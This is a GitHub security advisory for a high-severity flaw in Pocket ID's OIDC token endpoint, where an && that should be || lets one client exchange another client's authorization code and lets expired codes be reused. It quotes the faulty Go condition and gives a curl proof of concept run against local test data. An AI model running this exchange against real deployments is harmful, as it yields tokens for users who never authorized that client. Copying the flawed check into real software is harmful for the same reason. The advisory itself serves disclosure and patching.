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Pocket ID: OIDC authorization code validation uses AND instead of OR, allowing cross-client token exchange

High severity GitHub Reviewed Published Mar 7, 2026 in pocket-id/pocket-id • Updated Mar 10, 2026

Package

gomod github.com/pocket-id/pocket-id/backend (Go)

Affected versions

< 0.0.0-20260307173642-b59e35cb59ae

Patched versions

0.0.0-20260307173642-b59e35cb59ae

Description

Summary

The OIDC token endpoint rejects an authorization code only when both the client ID is wrong and the code is expired. This allows cross-client code exchange and expired code reuse.

Details

backend/internal/service/oidc_service.go:407

if authorizationCodeMetaData.ClientID != input.ClientID && authorizationCodeMetaData.ExpiresAt.ToTime().Before(time.Now()) {
    return CreatedTokens{}, &common.OidcInvalidAuthorizationCodeError{}
}

&& should be ||. Current behavior:

Condition Expected Actual
Wrong client + valid code Reject Accept
Correct client + expired code Reject Accept

PoC

Prerequisite: pocket-id running with APP_ENV=test and BUILD_TAGS=e2etest. The test user (Tim Cook) must have authorized both Nextcloud and Immich OIDC clients (i.e., user_authorized_oidc_clients records exist for both). The seed data includes an authorization code auth-code issued for the Nextcloud client.

# 1. Seed test data
curl -X POST "http://localhost:1411/api/test/reset?skip-ldap=true"

# 2. Exchange Nextcloud's auth code using Immich's credentials
curl -X POST http://localhost:1411/api/oidc/token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=authorization_code" \
  -d "code=auth-code" \
  -d "client_id=606c7782-f2b1-49e5-8ea9-26eb1b06d018" \
  -d "client_secret=PYjrE9u4v9GVqXKi52eur0eb2Ci4kc0x" \
  -d "redirect_uri=http://immich/auth/callback"
# Expected: 400 (wrong client)
# Actual: 200 with tokens — access_token.aud = Immich client ID

Verified result: HTTP 200 with tokens. The access_token audience is 606c7782-... (Immich), despite the authorization code being issued for 3654a746-... (Nextcloud).

Impact

Any OIDC client operator can exchange authorization codes issued for other clients, obtaining tokens for users who never authorized that client. Expired authorization codes can also be reused with the correct client until the 24-hour cleanup job runs.

References

@stonith404 stonith404 published to pocket-id/pocket-id Mar 7, 2026
Published to the GitHub Advisory Database Mar 9, 2026
Reviewed Mar 9, 2026
Published by the National Vulnerability Database Mar 10, 2026
Last updated Mar 10, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(2nd percentile)

Weaknesses

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.

CVE ID

CVE-2026-28513

GHSA ID

GHSA-qh6q-598w-w6m2

Source code

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